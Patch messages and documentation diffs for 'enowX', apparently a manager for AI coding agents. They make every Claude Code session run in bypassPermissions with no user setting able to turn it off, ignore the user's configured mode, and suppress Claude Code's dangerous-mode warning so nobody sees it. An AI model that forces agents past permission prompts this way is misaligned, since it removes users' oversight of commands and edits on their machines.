Subject: [PATCH 209/222] Keep GOD of Agents' secrets the user's to allow in
 bypass

GOA on Claude Code now runs in bypass, where the prompt its hook left a secret's read
to would never show. Its hook now asks, which Claude Code still honours there, and
enowX doesn't answer that prompt for it. Its refusals are denies and stand as they were.

Subject: [PATCH 210/222] Keep a program left running from holding a version
 check

A stand-in whose --version never returned held each OpenCode session's start
for its whole minute, as what it started kept the pipe open: 480 s in one test,
and the same would hold a real session.

Subject: [PATCH 213/222] Stop offering a choice of Claude Code's permission
 mode for new sessions

Its sessions run in bypass whatever is asked, so New session's switch and the mode a
new session starts on said something that wouldn't happen. A tab takes the user's
setting rather than a Claude Code session's bypass, which says nothing of another agent.

Subject: [PATCH 214/222] Say Claude Code always runs in bypass, and what that
 leaves

What it covers, that no setting turns it off, what still stops it, where it can't, what
one started by hand gets, GOD of Agents' permissions, and how switching mode lands.

+New session's **Skip permission prompts**, offered for agents other than Claude Code, starts an agent in its mode that asks nothing. Sessions the user doesn't start by hand follow it only where nothing would hear a prompt: an agent with no hooks (OpenCode and most others; every agent on Windows), started as GOD of Agents, its worker, or the chat of a note or a canvas (`SkipUnheard`). Codex tells enowX it is asking, so GOA's workers of it stay as `goa delegate` said (`--yolo`), and GOA answers. `goa start --yolo` is the same default on the command line.
 
 The mode is the one a session shows ("skips permission prompts"), and stays through resuming and waking. An agent with no keys for its mode (OpenCode) takes it only as it starts: `switch --mode` says so.
 
+### Claude Code always runs in bypass
+
+Every Claude Code session enowX starts or brings back runs in `bypassPermissions`, for every user on every host, Claude Agent Teams and GOD of Agents included: New session, `spawn`, `goa delegate`, resume, `continue`, `wake`, a message to one asleep, fork, a tab, a session copied from another host, a switch of account, and a daemon's restart or an app's update, whatever an earlier daemon saved of it. `Preset.Argv` holds it for every command line, so a mode named anywhere goes unsaid; `--dangerously-skip-permissions` also beats a `defaultMode` in Claude Code's settings and what a conversation last ran in (run on 2.1.318).
+
+- **No setting turns it off.** New session's switch and **Settings › New sessions › Permission mode** aren't offered for it; a `SkipPermissions` or `Mode` an app, the command line or an automation still sends is ignored. The rule is Claude Code's alone: other agents do as they are asked, and one taking over from Claude Code doesn't inherit it.
+- **The warning.** On a home that never accepted it, Claude Code stops at a warning whose first answer exits. enowX passes `skipDangerousModePermissionPrompt` in the `--settings` it starts Claude Code with, so nobody sees that warning, and the user's own files aren't touched. The session's banner says it skips permission prompts.
+- **Asking mid-session.** `switch --mode` or the chat may leave bypass, for as long as that process runs: any restart, wake or update brings it back. See [chat-view.md](chat-view.md) for how it gets there without plan mode.
+- **What still stops it.** A hook's refusal (a deny, which bypass doesn't pass), the judge's sure no, and a hook's ask, which Claude Code still prompts for ([decide.md](decide.md)). A user's agent in bypass doesn't get the app's card for what can't be undone ([goa-tools.md](goa-tools.md#when-the-user-is-asked)).
+- **Where it can't.** As root Claude Code refuses bypass, so the session starts asking, in the mode it was given, and its note says why; `switch --mode bypassPermissions` says the same. A `permissions.disableBypassPermissionsMode` Claude Code is given (run on 2.1.318 through `--settings`, not as a managed policy) starts it in `default` without a word: enowX goes by the mode its hook reports, and the session asks.
+- **Started by hand in a shell tab.** enowX doesn't start that one, so it gets what its command line and Claude Code's settings say, and its prompts stay the user's ([decide.md](decide.md)). A custom command is the same. If a daemon's restart brings it back, it comes back in bypass, on its conversation.
+
 OpenCode's mode is `--auto`: it approves what asks, in the session and its subagents, and paths outside the project, `.env` reads and repeated calls included; a `deny` rule of its config still stops the tool, which reports it in the session. enowX doesn't touch that config.

Sessions started as one user stay with that user's daemon. If you keep root, enowX reports Claude Code's refusal to skip permission prompts instead of starting the session.

 - Skipping permission prompts lets an agent run any command and edit any file the user can. Worktrees isolate files between sessions, not from the rest of the machine.

Subject: [PATCH 216/222] Add Settings to GOA's header to change its agent and
 config

Each agent GOA is offered on with its level, the configs of the agent
picked with the official one first, and what the pick does or why it can't
be done, before anything is pressed. The host's word decides what needs a
yes, so a GOA that just got to work is asked about too.

 - **Always allowed, hibernating and closing only:** the card for these two offers **Always allow**, for the session asking. From then on, on the user's own hosts, that session hibernates and closes sessions without a card, each logged: `control log` says `not asked: the user always allows this session, and nothing would be lost`. It still asks for an agent at work, something served, an app shown, a program left running, what can't come back on its conversation (a shell, where it can't tell what runs), its own session, and a teammate's session; and for push, pull request, merge, discard, removing a project and a host's environment variables, whatever it was allowed. A teammate's session never gets the choice, and a request to a teammate's shared host always asks. The asking session's daemon holds the rule, in a file that outlives a restart (`control-allow.json`); the app checks another of the user's hosts' sessions, which only it reaches. Settings → Agents → Always allowed lists the sessions and revokes the choice. It isn't reachable through `host.call`, but like the rest here it is no boundary against an agent with the host's socket.

 Checked with Codex itself, started as GOA: enowX's tools reached it over MCP as `mcp__enowx__…`, as its hooks name them; it read a project's file and wrote one in its own folder, and handed over a write outside it and a `go version`. Checked with Claude Code itself, started as GOA: it read a project's file and wrote one (in auto mode, unasked), and handed `go version` to a session, having no Bash.
 
+### Changing what it runs on
+
+**Settings** in GOA's header shows the agent and config it runs on, each agent it is offered on (installed and proven, above) with its level, and the configs of the agent picked, the official one first. What a pick would do, or why it can't be done, shows before anything is pressed. `enowx goa switch [--agent A] [--config NAME|official]` and MCP `goa_switch` do the same on this host; with no agent or config, or `--check`, they only say.
+
+- **Another config, the same agent:** GOA restarts on the new config and goes on with the same conversation (`--resume` with its ID). Before GOA stops, the daemon checks the config can reach that conversation and start: an account's home has it (conversations are shared by links; one with a `projects` folder of its own, or a variable moving its home, doesn't), the account is signed in on this host, the vault lends a model API's key. If not, the user is told, and GOA goes on untouched. A GOA with no conversation yet just restarts.
+- **Another agent:** a conversation doesn't carry over to it, so the app says so and asks first (`--new-conversation`), then GOA restarts on a new one, its config the one picked (left out, the agent's preferred). Going back to the first agent later is a new conversation too: its session doesn't take conversations from before the change (`Meta.ConvoSince`).
+- **At work** (working, or asking something), the app asks first, as a restart cuts that off (`--force`). This is the daemon's word, not the app's, so a line reaching GOA as the user presses counts.
+- **If it doesn't take:** an agent ending within 5 seconds of starting (`goaSwitchSettle`) puts GOA back on what it was, on its conversation, and the error says what the screen last said. What only shows later, as a key an API refuses at its first request, its screen says.
+
+**What stays.** The change happens in GOA's own session, same ID: its tabs, the board (`goa-board.json`), its collection, its rules and its waiting lines (`goa-tell.json`). Its workers are sessions of their own and keep running. While it changes, no line goes to GOA: the hook waiting to wake it ends with nothing, and what comes waits for the agent that follows.
+
+**What holds it stays,** on every path: the restart goes through what `goa start` does, and a config can't undo it. On GOA a config's flags are only `--model`, `-m` and `--effort`, and its variables none of `ENOWX_*`, `ENABLE_TOOL_SEARCH`, `OPENCODE_CONFIG*` or `OPENCODE_PERMISSION` (`goa.ConfigArgs`, `goa.ConfigEnv`); the panel says so of a config that has others. A model API's own variables (its `OPENCODE_CONFIG`, say) go on as they are, under what holds OpenCode's GOA. A limit's fallback to another agent is refused for GOA: an agent only changes by this.
+
+**Its permission mode.** Another config keeps the mode GOA runs in (`Meta.Mode`, passed as its agent's flag), including after a mode set by the user; another agent starts in what the user chose for that agent's new sessions (on a config, not that), else its own default.
+
+**GOA can't change itself.** A change ends the turn asking for it, and for an agent loses its conversation, unasked. So GOA isn't offered `goa_switch`, and `goa switch` through its `enowx` tool only reads: it is told to ask the user. Asked by another session's agent, a change is a `confirm` method of control: the user says yes first ([goa-tools.md](goa-tools.md#when-the-user-is-asked)). An older daemon answers as not knowing the method, which the app and the command say, GOA going on as it was.

Subject: [PATCH 218/222] Wake a Codex session on its own conversation

Codex gave no id to resume by, so a hibernated or restarted session with a
conversation came back on a new one.

 **What holds it stays,** on every path: the restart goes through what `goa start` does, and a config can't undo it. On GOA a config's flags are only `--model`, `-m` and `--effort`, and its variables none of `ENOWX_*`, `ENABLE_TOOL_SEARCH`, `OPENCODE_CONFIG*` or `OPENCODE_PERMISSION` (`goa.ConfigArgs`, `goa.ConfigEnv`); the panel says so of a config that has others. A model API's own variables (its `OPENCODE_CONFIG`, say) go on as they are, under what holds OpenCode's GOA. A limit's fallback to another agent is refused for GOA: an agent only changes by this.
 
-**Its permission mode.** Another config keeps the mode GOA runs in (`Meta.Mode`, passed as its agent's flag), including after a mode set by the user; another agent starts in what the user chose for that agent's new sessions (on a config, not that), else its own default.
+**Its permission mode.** On Claude Code, bypass, whatever the change. On another agent, another config keeps the mode GOA runs in (`Meta.Mode`, passed as its agent's flag), including after a mode set by the user; another agent starts in what the user chose for that agent's new sessions (on a config, not that), else its own default.
 
 **GOA can't change itself.** A change ends the turn asking for it, and for an agent loses its conversation, unasked. So GOA isn't offered `goa_switch`, and `goa switch` through its `enowx` tool only reads: it is told to ask the user. Asked by another session's agent, a change is a `confirm` method of control: the user says yes first ([goa-tools.md](goa-tools.md#when-the-user-is-asked)). An older daemon answers as not knowing the method, which the app and the command say, GOA going on as it was.

Subject: [PATCH 221/222] Fix what vet and staticcheck find in the merged
 branches

One mode switch at a time for a session keeps what the switch kept when it was
rewritten: two at once could end on a mode neither asked for.

Claude Platform's mode key goes through plan as its sessions may: only Claude
Code's restarts to keep off it. Tests follow Platform being first among agents
and the notes page as it now is.
